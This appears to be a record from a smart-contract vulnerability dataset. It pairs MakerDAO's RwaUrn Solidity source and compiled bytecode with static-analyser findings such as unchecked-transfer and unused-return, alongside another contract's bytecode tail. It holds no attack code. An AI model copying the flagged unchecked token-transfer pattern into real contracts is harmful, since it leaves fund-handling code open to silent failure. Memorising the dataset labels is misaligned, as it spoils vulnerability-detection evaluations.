ffffffffffffffffff1916600160a060020a039283161790558316600081815260058352604080822085905580518085019390935280835286519083015285517fbfba570579dd015aeb3054b92f73b1704ea3990bff6ef0ad798dcc17ddf12e51938793879390928392606084019290870191908190849084905b838110156115df5781810151838201526020016115c7565b50505050905090810190601f16801561160c5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a1505050565b60608160005b815181101561169d57611657828281518110151561163f57fe5b90602001015160f860020a900460f860020a0261193c565b828281518110151561166557fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600101611625565b5092915050565b604080516000808252602080830180855288905260ff871683850152606083018690526080830185905292519092600160a060020a0389169260019260a08083019392601f19830192908190039091019087865af115801561170a573d6000803e3d6000fd5b50505060206040510351600160a060020a031614905095945050505050565b604080518082018252601c8082527f19457468657265756d205369676e6564204d6573736167653a0a33320000000060208084019182529351600094859385938b939092019182918083835b602083106117945780518252601f199092019160209182019101611775565b51815160209384036101000a600019018019909216911617905292019384525060408051808503815293820190819052835193945092839250908401908083835b602083106117f45780518252601f1990920191602091820191016117d5565b51815160209384036101000a600019018019909216911617905260408051929094018290038220600080845283830180875282905260ff8e1684870152606084018d9052608084018c90529451909750600160a060020a038f1696506001955060a080840195929450601f198201938290030191865af115801561187c573d6000803e3d6000fd5b50505060206040510351600160a060020a0316149250505095945050505050565b6118a5611af8565b50604080518082019091528151815260209182019181019190915290565b6118cb611af8565b50604080518082019091528151815260208083015190820152919050565b606080600083600001516040519080825280601f01601f191660200182016040528015611920578160200160208202803883390190505b50915060208201905061169d81856020015186600001516119f3565b60007f41000000000000000000000000000000000000000000000000000000000000007fff000000000000000000000000000000000000000000000000000000000000008316108015906119d257507f5a000000000000000000000000000000000000000000000000000000000000007fff00000000000000000000000000000000000000000000000000000000000000831611155b156119ef578160f860020a900460200160f860020a02905061127f565b5090565b60005b60208210611a18578251845260209384019390920191601f19909101906119f6565b50905182516020929092036101000a6000190180199091169116179052565b50805460018160011615610100020316600290046000825580601f10611a5d5750611a7b565b601f016020900490600052602060002090810190611a7b9190611b0f565b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611abf57805160ff1916838001178555611aec565b82800160010185558215611aec579182015b82811115611aec578251825591602001919060010190611ad1565b506119ef929150611b0f565b604080518082019091526000808252602082015290565b611b2991905b808211156119ef5760008155600101611b15565b905600a165627a7a723058208dc85eaf12914db10a33ed27b0fbe4802ea578bcf1542d3f3b1a80e7d7fa5d470029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
6,812
0xc84B92841935Db60C187e860a74736e2CB53725a
// Copyright (C) 2020, 2021 Lev Livnev <lev@liv.nev.org.uk> // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity 0.5.12; // https://github.com/makerdao/dss/blob/master/src/vat.sol interface VatAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function can(address, address) external view returns (uint256); function hope(address) external; function nope(address) external; function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256); function urns(bytes32, address) external view returns (uint256, uint256); function gem(bytes32, address) external view returns (uint256); function dai(address) external view returns (uint256); function sin(address) external view returns (uint256); function debt() external view returns (uint256); function vice() external view returns (uint256); function Line() external view returns (uint256); function live() external view returns (uint256); function init(bytes32) external; function file(bytes32, uint256) external; function file(bytes32, bytes32, uint256) external; function cage() external; function slip(bytes32, address, int256) external; function flux(bytes32, address, address, uint256) external; function move(address, address, uint256) external; function frob(bytes32, address, address, address, int256, int256) external; function fork(bytes32, address, address, int256, int256) external; function grab(bytes32, address, address, address, int256, int256) external; function heal(uint256) external; function suck(address, address, uint256) external; function fold(bytes32, address, int256) external; } // https://github.com/makerdao/dss/blob/master/src/jug.sol interface JugAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function ilks(bytes32) external view returns (uint256, uint256); function vat() external view returns (address); function vow() external view returns (address); function base() external view returns (address); function init(bytes32) external; function file(bytes32, bytes32, uint256) external; function file(bytes32, uint256) external; function file(bytes32, address) external; function drip(bytes32) external returns (uint256); } // https://github.com/dapphub/ds-token/blob/master/src/token.sol interface DSTokenAbstract { function name() external view returns (bytes32); function symbol() external view returns (bytes32); function decimals() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address) external view returns (uint256); function transfer(address, uint256) external returns (bool); function allowance(address, address) external view returns (uint256); function approve(address, uint256) external returns (bool); function approve(address) external returns (bool); function transferFrom(address, address, uint256) external returns (bool); function push(address, uint256) external; function pull(address, uint256) external; function move(address, address, uint256) external; function mint(uint256) external; function mint(address,uint) external; function burn(uint256) external; function burn(address,uint) external; function setName(bytes32) external; function authority() external view returns (address); function owner() external view returns (address); function setOwner(address) external; function setAuthority(address) external; } // https://github.com/makerdao/dss/blob/master/src/join.sol interface GemJoinAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function vat() external view returns (address); function ilk() external view returns (bytes32); function gem() external view returns (address); function dec() external view returns (uint256); function live() external view returns (uint256); function cage() external; function join(address, uint256) external; function exit(address, uint256) external; } // https://github.com/makerdao/dss/blob/master/src/join.sol interface DaiJoinAbstract { function wards(address) external view returns (uint256); function rely(address usr) external; function deny(address usr) external; function vat() external view returns (address); function dai() external view returns (address); function live() external view returns (uint256); function cage() external; function join(address, uint256) external; function exit(address, uint256) external; } // https://github.com/makerdao/dss/blob/master/src/dai.sol interface DaiAbstract { function wards(address) external view returns (uint256); function rely(address) external; function deny(address) external; function name() external view returns (string memory); function symbol() external view returns (string memory); function version() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address) external view returns (uint256); function allowance(address, address) external view returns (uint256); function nonces(address) external view returns (uint256); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external view returns (bytes32); function transfer(address, uint256) external; function transferFrom(address, address, uint256) external returns (bool); function mint(address, uint256) external; function burn(address, uint256) external; function approve(address, uint256) external returns (bool); function push(address, uint256) external; function pull(address, uint256) external; function move(address, address, uint256) external; function permit(address, address, uint256, uint256, bool, uint8, bytes32, bytes32) external; } contract RwaUrn { // --- auth --- mapping (address => uint256) public wards; mapping (address => uint256) public can; function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); } function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); } modifier auth { require(wards[msg.sender] == 1, "RwaUrn/not-authorized"); _; } function hope(address usr) external auth { can[usr] = 1; emit Hope(usr); } function nope(address usr) external auth { can[usr] = 0; emit Nope(usr); } modifier operator { require(can[msg.sender] == 1, "RwaUrn/not-operator"); _; } VatAbstract public vat; JugAbstract public jug; GemJoinAbstract public gemJoin; DaiJoinAbstract public daiJoin; address public outputConduit; // Events event Rely(address indexed usr); event Deny(address indexed usr); event Hope(address indexed usr); event Nope(address indexed usr); event File(bytes32 indexed what, address data); event Lock(address indexed usr, uint256 wad); event Free(address indexed usr, uint256 wad); event Draw(address indexed usr, uint256 wad); event Wipe(address indexed usr, uint256 wad); event Quit(address indexed usr, uint256 wad); // --- math --- uint256 constant RAY = 10 ** 27; function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x); } function divup(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(x, sub(y, 1)) / y; } // --- init --- constructor( address vat_, address jug_, address gemJoin_, address daiJoin_, address outputConduit_ ) public { // requires in urn that outputConduit isn't address(0) vat = VatAbstract(vat_); jug = JugAbstract(jug_); gemJoin = GemJoinAbstract(gemJoin_); daiJoin = DaiJoinAbstract(daiJoin_); outputConduit = outputConduit_; wards[msg.sender] = 1; DSTokenAbstract(gemJoin.gem()).approve(address(gemJoin), uint256(-1)); DaiAbstract(daiJoin.dai()).approve(address(daiJoin), uint256(-1)); VatAbstract(vat_).hope(address(daiJoin)); emit Rely(msg.sender); emit File("outputConduit", outputConduit_); emit File("jug", jug_); } // --- administration --- function file(bytes32 what, address data) external auth { if (what == "outputConduit") { outputConduit = data; } else if (what == "jug") { jug = JugAbstract(data); } else revert("RwaUrn/unrecognised-param"); emit File(what, data); } // --- cdp operation --- // n.b. that the operator must bring the gem function lock(uint256 wad) external operator { require(wad <= 2**255 - 1, "RwaUrn/overflow"); DSTokenAbstract(gemJoin.gem()).transferFrom(msg.sender, address(this), wad); // join with address this gemJoin.join(address(this), wad); vat.frob(gemJoin.ilk(), address(this), address(this), address(this), int(wad), 0); emit Lock(msg.sender, wad); } // n.b. that the operator takes the gem // and might not be the same operator who brought the gem function free(uint256 wad) external operator { require(wad <= 2**255, "RwaUrn/overflow"); vat.frob(gemJoin.ilk(), address(this), address(this), address(this), -int(wad), 0); gemJoin.exit(msg.sender, wad); emit Free(msg.sender, wad); } // n.b. DAI can only go to the output conduit function draw(uint256 wad) external operator { require(outputConduit != address(0)); bytes32 ilk = gemJoin.ilk(); jug.drip(ilk); (,uint256 rate,,,) = vat.ilks(ilk); uint256 dart = divup(mul(RAY, wad), rate); require(dart <= 2**255 - 1, "RwaUrn/overflow"); vat.frob(ilk, address(this), address(this), address(this), 0, int(dart)); daiJoin.exit(outputConduit, wad); emit Draw(msg.sender, wad); } // n.b. anyone can wipe function wipe(uint256 wad) external { daiJoin.join(address(this), wad); bytes32 ilk = gemJoin.ilk(); jug.drip(ilk); (,uint256 rate,,,) = vat.ilks(ilk); uint256 dart = mul(RAY, wad) / rate; require(dart <= 2 ** 255, "RwaUrn/overflow"); vat.frob(ilk, address(this), address(this), address(this), 0, -int(dart)); emit Wipe(msg.sender, wad); } // If Dai is sitting here after ES that should be sent back function quit() external { require(outputConduit != address(0)); require(vat.live() == 0, "RwaUrn/vat-still-live"); DSTokenAbstract dai = DSTokenAbstract(daiJoin.dai()); uint256 wad = dai.balanceOf(address(this)); dai.transfer(outputConduit, wad); emit Quit(msg.sender, wad); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063b38a1620116100a2578063d4e8be8311610071578063d4e8be831461045a578063d8ccd0f3146104a8578063dc4d20fa146104d6578063dd4670641461051a578063fc2b8cc3146105485761010b565b8063b38a162014610332578063bc206b0a14610360578063bf353dbb146103b8578063c11645bc146104105761010b565b80637692535f116100de5780637692535f1461021657806384718d89146102605780639c52a7f1146102aa578063a3b22fc4146102ee5761010b565b806301664f661461011057806336569e771461015a5780633b304147146101a457806365fae35e146101d2575b600080fd5b610118610552565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610162610578565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101d0600480360360208110156101ba57600080fd5b810190808035906020019092919050505061059e565b005b610214600480360360208110156101e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c0e565b005b61021e610d4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610268610d72565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102ec600480360360208110156102c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d98565b005b6103306004803603602081101561030457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed6565b005b61035e6004803603602081101561034857600080fd5b8101908080359060200190929190505050611014565b005b6103a26004803603602081101561037657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611555565b6040518082815260200191505060405180910390f35b6103fa600480360360208110156103ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061156d565b6040518082815260200191505060405180910390f35b610418611585565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104a66004803603604081101561047057600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ab565b005b6104d4600480360360208110156104be57600080fd5b8101908080359060200190929190505050611812565b005b610518600480360360208110156104ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c4d565b005b6105466004803603602081101561053057600080fd5b8101908080359060200190929190505050611d8c565b005b61055061235d565b005b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610652576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f52776155726e2f6e6f742d6f70657261746f720000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156106ae57600080fd5b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b815260040160206040518083038186803b15801561071857600080fd5b505afa15801561072c573d6000803e3d6000fd5b505050506040513d602081101561074257600080fd5b81019080805190602001909291905050509050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166344e2a5a8826040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156107ca57600080fd5b505af11580156107de573d6000803e3d6000fd5b505050506040513d60208110156107f457600080fd5b8101908080519060200190929190505050506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36836040518263ffffffff1660e01b81526004018082815260200191505060a06040518083038186803b15801561087b57600080fd5b505afa15801561088f573d6000803e3d6000fd5b505050506040513d60a08110156108a557600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505050505091505060006109056108ff6b033b2e3c9fd0803ce80000008661276b565b83612797565b90507f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81111561099d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f52776155726e2f6f766572666c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166376088703843030306000876040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b158015610abf57600080fd5b505af1158015610ad3573d6000803e3d6000fd5b50505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ef693bed600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610ba257600080fd5b505af1158015610bb6573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167f7ffa12f2611233f19bb229a71c5d8224cb37373555ab6754b65aef59ea26831d856040518082815260200191505060405180910390a250505050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610cc2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f6e6f742d617574686f72697a6564000000000000000000000081525060200191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f6e6f742d617574686f72697a6564000000000000000000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f8a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f6e6f742d617574686f72697a6564000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f3a21b662999d3fc0ceca48751a22bf61a806dcf3631e136271f02f7cb981fd4360405160405180910390a250565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633b4da69f30836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156110bd57600080fd5b505af11580156110d1573d6000803e3d6000fd5b505050506000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b815260040160206040518083038186803b15801561113f57600080fd5b505afa158015611153573d6000803e3d6000fd5b505050506040513d602081101561116957600080fd5b81019080805190602001909291905050509050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166344e2a5a8826040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156111f157600080fd5b505af1158015611205573d6000803e3d6000fd5b505050506040513d602081101561121b57600080fd5b8101908080519060200190929190505050506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d9638d36836040518263ffffffff1660e01b81526004018082815260200191505060a06040518083038186803b1580156112a257600080fd5b505afa1580156112b6573d6000803e3d6000fd5b505050506040513d60a08110156112cc57600080fd5b8101908080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291905050505050509150506000816113246b033b2e3c9fd0803ce80000008661276b565b8161132b57fe5b0490507f80000000000000000000000000000000000000000000000000000000000000008111156113c4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f52776155726e2f6f766572666c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166376088703843030306000876000036040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b1580156114e957600080fd5b505af11580156114fd573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167f2d2c7da251295f4d722a8ddaf337627952c957ce21b2757c852e47fe81b3a2af856040518082815260200191505060405180910390a250505050565b60016020528060005260406000206000915090505481565b60006020528060005260406000206000915090505481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461165f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f6e6f742d617574686f72697a6564000000000000000000000081525060200191505060405180910390fd5b7f6f7574707574436f6e64756974000000000000000000000000000000000000008214156116cd5780600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117aa565b7f6a7567000000000000000000000000000000000000000000000000000000000082141561173b5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506117a9565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f52776155726e2f756e7265636f676e697365642d706172616d0000000000000081525060200191505060405180910390fd5b5b817f8fef588b5fc1afbf5b2f06c1a435d513f208da2e6704c3d8f0e0ec91167066ba82604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a25050565b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146118c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f52776155726e2f6e6f742d6f70657261746f720000000000000000000000000081525060200191505060405180910390fd5b7f800000000000000000000000000000000000000000000000000000000000000081111561195c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f52776155726e2f6f766572666c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166376088703600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b815260040160206040518083038186803b158015611a0257600080fd5b505afa158015611a16573d6000803e3d6000fd5b505050506040513d6020811015611a2c57600080fd5b81019080805190602001909291905050503030308660000360006040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b158015611b2357600080fd5b505af1158015611b37573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ef693bed33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015611be457600080fd5b505af1158015611bf8573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167fce6c5af8fd109993cb40da4d5dc9e4dd8e61bc2e48f1e3901472141e4f56f293826040518082815260200191505060405180910390a250565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611d01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f6e6f742d617574686f72697a6564000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f9cd85b2ca76a06c46be663a514e012af1aea8954b0e53f42146cd9b1ebb21ebc60405160405180910390a250565b60018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611e40576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f52776155726e2f6e6f742d6f70657261746f720000000000000000000000000081525060200191505060405180910390fd5b7f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811115611ed6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f52776155726e2f6f766572666c6f77000000000000000000000000000000000081525060200191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bd2bea76040518163ffffffff1660e01b815260040160206040518083038186803b158015611f3e57600080fd5b505afa158015611f52573d6000803e3d6000fd5b505050506040513d6020811015611f6857600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561203357600080fd5b505af1158015612047573d6000803e3d6000fd5b505050506040513d602081101561205d57600080fd5b810190808051906020019092919050505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633b4da69f30836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561211857600080fd5b505af115801561212c573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166376088703600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b815260040160206040518083038186803b1580156121d657600080fd5b505afa1580156121ea573d6000803e3d6000fd5b505050506040513d602081101561220057600080fd5b81019080805190602001909291905050503030308660006040518763ffffffff1660e01b8152600401808781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019650505050505050600060405180830381600087803b1580156122f457600080fd5b505af1158015612308573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff167f625fed9875dada8643f2418b838ae0bc78d9a148a18eee4ee1979ff0f3f5d427826040518082815260200191505060405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156123b957600080fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663957aa58c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561242357600080fd5b505afa158015612437573d6000803e3d6000fd5b505050506040513d602081101561244d57600080fd5b8101908080519060200190929190505050146124d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52776155726e2f7661742d7374696c6c2d6c697665000000000000000000000081525060200191505060405180910390fd5b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f4b9fa756040518163ffffffff1660e01b815260040160206040518083038186803b15801561253b57600080fd5b505afa15801561254f573d6000803e3d6000fd5b505050506040513d602081101561256557600080fd5b8101908080519060200190929190505050905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156125f757600080fd5b505afa15801561260b573d6000803e3d6000fd5b505050506040513d602081101561262157600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156126dd57600080fd5b505af11580156126f1573d6000803e3d6000fd5b505050506040513d602081101561270757600080fd5b8101908080519060200190929190505050503373ffffffffffffffffffffffffffffffffffffffff167fc81bfec1ac9d038698c3b15fc900dafbff3af4b9f26062f895dd08a676ec78ae826040518082815260200191505060405180910390a25050565b600080821480612788575082828385029250828161278557fe5b04145b61279157600080fd5b92915050565b6000816127ae846127a98560016127be565b6127d8565b816127b557fe5b04905092915050565b60008282840391508111156127d257600080fd5b92915050565b60008282840191508110156127ec57600080fd5b9291505056fea265627a7a72315820ae75d3cf8470c2e2787efe5864a72c30d5e3e4f29ff84bbf80c42695aa40f1bb64736f6c634300050c0032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
6,813
0x82f2f408f4ac284f82b72492be20381e28a16cd5
